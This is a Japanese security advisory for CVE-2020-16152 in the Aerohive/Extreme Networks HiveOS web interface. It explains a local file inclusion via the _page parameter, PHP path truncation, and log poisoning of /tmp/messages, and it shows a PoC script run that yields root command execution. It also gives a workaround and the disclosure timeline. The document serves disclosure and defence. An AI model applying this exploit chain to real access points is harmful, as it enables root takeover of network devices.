
CVE-2020-16152 の説明と PoC
| 製品ベンダー | Aerohive Networks / Extreme Networks |
| 製品名 | HiveOS / IQ Engine |
| 製品バージョン | テスト済み 10.0r8a build-242466 およびそれ以前 |
Aerohive/Extreme Networks HiveOS 管理 Web インターフェース (NetConfig) は、文字列切り詰め攻撃に対して脆弱な古いバージョンの PHP を使用しているため、LFI に対して脆弱です。攻撃者はこれをログポイズニングと組み合わせて使用し、脆弱なアクセスポイント上で root 権限を取得することができます。
回避策として、次のコマンドで Web インターフェースを無効にすることができます: no system web-server hive-UI enable この脆弱性から保護するため。
_page パラメータは、URL /action.php5 によって参照される action/AhBaseAction.class.php5 への呼び出しに使用され、以下のコードスニペットに見られるように、ページに使用される PHP クラスを動的にロードするために使用されます($pageName は $_POST['_page'] から取得されます):
protected function getAccess($pageName,$actionType) {
$filename = $pageName.'Access.class.php5';
$classname = $pageName.'Access';
if (include_once $filename) {
require_once $filename;
return new $classname($this->user,$actionType);
}
...
}
ご覧のとおり、このファイル名にはプレフィックスがないため、任意のファイルへのパストラバーサルが可能です。ただし、サフィックスが付いているため、任意のファイルをインクルードすることはできません。アクセスポイントの PHP のバージョンがかなり古いため、実際にこれを回避することができます(詳細情報):
$ php-cgi -v
PHP Warning: PHP Startup: Cannot dynamically load sockets.so - dynamic modules are not supported in Unknown on line 0
PHP 5.2.17 (cgi-fcgi) (built: May 28 2020 23:36:34)
Copyright (c) 1997-2010 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2010 Zend Technologies
十分な数の / 文字でパスを埋めることで、Access.class.php5 サフィックスが完全に切り詰められ、任意のファイルをインクルードできるようになります。
ログイン試行の失敗は /tmp/messages に記録され、送信されたユーザー名が含まれるため、ログインページを使用して /tmp/messages をポイズンし、上記の LFI 攻撃でそこからコードを実行できます。
Webサーバー自体は低権限ユーザーで実行されていますが、hiawatha が使用する php-cgi インスタンスは実際には root として実行されており、すべての PHP コードが root として実行されることを意味します:
$ ps | egrep "php|hiawatha"
2237 root 9980 S /usr/local/bin/php-cgi -b 127.0.0.1:2008
12088 admin 20840 S /usr/local/sbin/hiawatha
$ ./CVE-2020-16152.py 192.168.0.166 'echo -e "\n\n";id' | tail
2020-08-30 13:56:28 notice root: ntpclient: [ntpclient]Set time - Sun Aug 30 13:56:28 GMT+1:00 2020
2020-08-30 13:56:28 notice root: Connect [0.aerohive.pool.ntp.org] successful
2020-08-30 13:56:54 info ah_dcd: application: get track-ip trigger access console request: cancel.
2020-08-30 13:57:00 notice root: ntpclient: [ntpclient]Set time - Sun Aug 30 13:57:00 GMT+1:00 2020
2020-08-30 13:57:00 notice root: Connect [0.aerohive.pool.ntp.org] successful
2020-08-30 13:57:31 notice ah_webui: security: Admin "<
uid=0(root) gid=0(root)
| 2019/02/17 | 問題が Aerohive Networks に報告されました |
| 2019/02/19 | ベンダーが問題の確認を受け、ベンダーから回避策が提案されました(Webインターフェースの無効化) |
| 2019/02/25 | ベンダーによる問題の確認 |
| 2019/03/18 | 連絡? |
| 2019/05/30 | 連絡? |
| 2019/06/03 | ベンダーが電話を提案、電話の詳細を返信。電話は受け取られませんでした |
| 2019/08/12 | 連絡?ベンダーが問題は内部でエスカレーションされたと返信 |
| 2019/09/23 | 連絡? |
| 2019/09/25 | ベンダーは LFI 問題がまだ対処されていないと返信 |
| 2020/07/30 | HiveOS 10.0r8a build-242466(2020年5月付け)で問題がまだ修正されていないことを発見。CVE を予約し、修正が積極的に進められていない限り、公開期限を2020/09/01と伝えた |
| 2020/09/01 | まだベンダーからの返答なし、詳細と PoC を公開 |